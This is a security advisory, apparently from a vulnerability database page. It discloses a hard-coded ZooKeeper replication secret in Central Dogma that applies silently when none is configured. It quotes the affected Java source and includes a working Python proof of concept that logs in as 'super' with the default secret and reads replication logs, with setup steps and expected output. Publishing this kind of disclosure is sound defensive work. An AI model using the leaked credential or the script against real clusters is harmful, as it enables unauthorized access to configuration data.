Résumé
Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover
Détails de l’avis
Vulnerability
ZooKeeperReplicationConfig.secret() silently substitutes the hard-coded constant "ch4n63m3" (leetspeak for "change me") whenever the operator omits replication.secret. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.
Three Reinforcing Defects
- OSS-public credential —
DEFAULT_SECRETis inline/centraldogmasource. - Silent fallback —
firstNonNull(convertValue(...), DEFAULT_SECRET)substitutes the default with no log, no warning, no startup banner. The only sanity checkcheckArgument(!secret().isEmpty(), ...)passes because the getter substitutes the literal before the emptiness check runs. - Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.
Architecture Context (Important)
Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a QuorumPeer (EmbeddedZooKeeper extends QuorumPeer) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.
Applicability
replication.method |
ZK Started? | Applicable? |
|---|---|---|
NONE (standalone, dev default) |
No | NOT applicable |
ZOOKEEPER (HA production) |
Yes, embedded on every replica | Fully applicable — canonical production configuration |
Evidence
File: server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java
Branch: main @ commit d64a5151
Line 53 — the constant:
private static final String DEFAULT_SECRET = "ch4n63m3";
Lines 210–215 — the silent fallback:
/**
* Returns the secret string used for authenticating the ZooKeeper peers.
*/
public String secret() {
return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET);
}
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java
Lines 586–607 — JAAS wiring (same secret on both surfaces):
final String escapedSecret = jaasValueEscaper.escape(cfg.secret());
ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("username=\"super\"").append(newline);
buf.append("password=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java
Line 44 — proves CD embeds the ZK server:
final class EmbeddedZooKeeper extends QuorumPeer {
Lines 213–220 — client port binding (loopback only):
private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {
final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();
final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();
// Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.
cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0),
zkCfg.getMaxClientCnxns());
return cnxnFactory;
}
Quorum/election ports are NOT loopback-bound — they bind to
replication.servers[].hostas configured, exposed on the inter-replica network.
PoC
Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.
Surface A — Same-Host Client Port (Loopback) PoC
Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.
#!/usr/bin/env python3
"""
C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).
Demonstrates that a Central Dogma instance launched with a
ZooKeeper-replicated configuration but without `replication.secret` set
exposes its embedded ZooKeeper to anyone with local-host access, using
the well-known credential `super / ch4n63m3`.
SAFETY:
* Hardcoded to 127.0.0.1. Refuses any other target.
* Read-only. No writes are issued. No nodes are deleted.
* Limits how much data it prints (first MAX_LOGS entries).
"""
from __future__ import annotations
import sys
from kazoo.client import KazooClient
from kazoo.exceptions import NoNodeError
HOST = "127.0.0.1"
DEFAULT_PORT = 2381
DEFAULT_USER = "super"
DEFAULT_SECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULT_SECRET
MAX_LOGS = 5
def main() -> int:
port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT
if HOST != "127.0.0.1":
print("Refusing to run against non-loopback host.", file=sys.stderr)
return 2
zk = KazooClient(
hosts=f"{HOST}:{port}",
sasl_options={
"mechanism": "DIGEST-MD5",
"username": DEFAULT_USER,
"password": DEFAULT_SECRET,
},
read_only=True,
timeout=5.0,
)
try:
zk.start(timeout=5)
except Exception as exc:
print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr)
return 1
try:
try:
log_children = zk.get_children("/dogma/logs")
except NoNodeError:
print("[i] /dogma/logs not present -- is replication actually enabled?")
log_children = []
print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.")
print(f"[+] /dogma/logs has {len(log_children)} entries.")
for child in sorted(log_children)[:MAX_LOGS]:
path = f"/dogma/logs/{child}"
try:
data, stat = zk.get(path)
except NoNodeError:
continue
preview = data[:120].decode("utf-8", errors="replace") if data else ""
print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}")
try:
block_children = zk.get_children("/dogma/log_blocks")
print(f"[+] /dogma/log_blocks has {len(block_children)} entries.")
except NoNodeError:
pass
print(
f"[!] ZK cluster compromised: read {len(log_children)} log entries "
"with default credentials."
)
return 0
finally:
zk.stop()
zk.close()
if __name__ == "__main__":
raise SystemExit(main())
Dependencies (requirements.txt): kazoo, pure-sasl
Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:
{
"replication": {
"method": "ZOOKEEPER",
"serverId": 1,
"servers": {
"1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 }
}
}
}
Note:
replication.secretis INTENTIONALLY omitted. Launch with./gradlew :dist:startup.
Run:
python3 zk_takeover.py 2381
Expected output (VULNERABLE):
[+] Authenticated as 'super' with default secret.
[+] /dogma/logs has 14 entries.
- /dogma/logs/0000000001 (412 bytes) preview="{"size":..."
- /dogma/logs/0000000002 (508 bytes) pre
Références
Vulnérabilités liées
Tout Supply chain →- CRITICALCVE-2026-62252
Homer: Hardcoded Default Admin Password 'sipcapture' With No Forced Change on First Login
- CRITICALGHSA-gg6r-gp4c-89hp
Trigger.dev: V1 coordinator default-secret unauth Socket.IO
- MEDIUMCVE-2026-63406
AnyCable: Telemetry Subsystem Contains Hardcoded Authentication Token and Transmits CLI Arguments Including Secrets
- HIGHCVE-2026-96627
Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)
- MEDIUMCVE-2026-96628
Arcane: Environment access token bypasses the admin-required authorization gate on `/api/debug/pprof`
- CRITICALCVE-2026-105192
LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport